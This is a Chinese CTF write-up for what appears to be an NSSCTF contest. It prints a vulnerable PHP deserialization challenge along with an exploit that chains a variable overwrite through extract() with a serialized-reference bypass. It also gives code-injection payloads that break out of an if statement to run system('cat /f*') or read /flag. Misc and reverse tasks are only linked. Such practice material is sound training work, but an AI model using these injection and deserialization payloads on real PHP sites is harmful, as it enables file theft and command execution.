非常的没有灵魂:
Pingpingping
这题需要恶补以下非法传参的PHP问题:
还有一些数组绕过问题:
backup
这题没啥可说了,反序列化之前也专门练过了。。。
hint有提示备份文件,直接访问www.zip
,可以得到源代码
<?php error_reporting(0); require_once("flag.php"); class popmart{ public $yuki; public $molly; public $dimoo; public function __construct(){ $this->yuki='tell me where'; $this->molly='dont_tell_you'; $this->dimoo="you_can_guess"; } public function __wakeup(){ global $flag; global $where_you_go; $this->yuki=$where_you_go; if($this->molly === $this->yuki){ echo $flag; } } } $pucky = $_GET['wq']; if(isset($pucky)){ if($pucky==="二仙桥"){ extract($_POST); if($pucky==="二仙桥"){ die("<script>window.alert('说说看,你要去哪??');</script>"); } unserialize($pucky); } }
看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化
在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag
第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可
然后在反序列化的时候采取引用绕过的方式,exp如下
<?php class popmart{ public $yuki; public $molly; public $dimoo; } $a=new popmart(); $a->molly=&$a->yuki; echo serialize($a); # O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
NSS大卖场
if_else
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果 提交方式$_POST["check"] 记得访问一下check.php哦~ check.php的内容 <?php $a=false; $b=false; if(你提交的部分将会被写至这里) {$a=true;} else {$b=true;} if($a===true&&$b===true) eval(system(cat /flag)); ?>
这题的payload应该多种多样,如下都可:
check=11==11){ system(‘cat /f*’);} /*
1) { echo file_get_contents('/flag'); } elseif (1
Misc
关于压缩包伪加密的相关问题_rar伪加密改24字节后依然打不开-CSDN博客
WD code
看看这个ps处理的二维码:关于一张处理过的二维码图,如何还原。? - 知乎 (zhihu.com)
奇妙的探索之旅
文章列表 | NSSCTF
Reverse
2023年SWPU NSS 秋季招新赛 CTF Reverse‘方向WP详解-CSDN博客
哇偶,这里竟然还有游戏逆向的内容,少见,引入一片大佬文章:
奇安信攻防社区-浅谈CTF中的unity游戏逆向 (butian.net)
引入原话
unity主要可以看成两类,dll游戏和libil2cpp游戏,dll游戏比较简单,其核心代码都在 game/assets/bin/data/Managed/Assembly-CSarp.dll这个 dll 文件中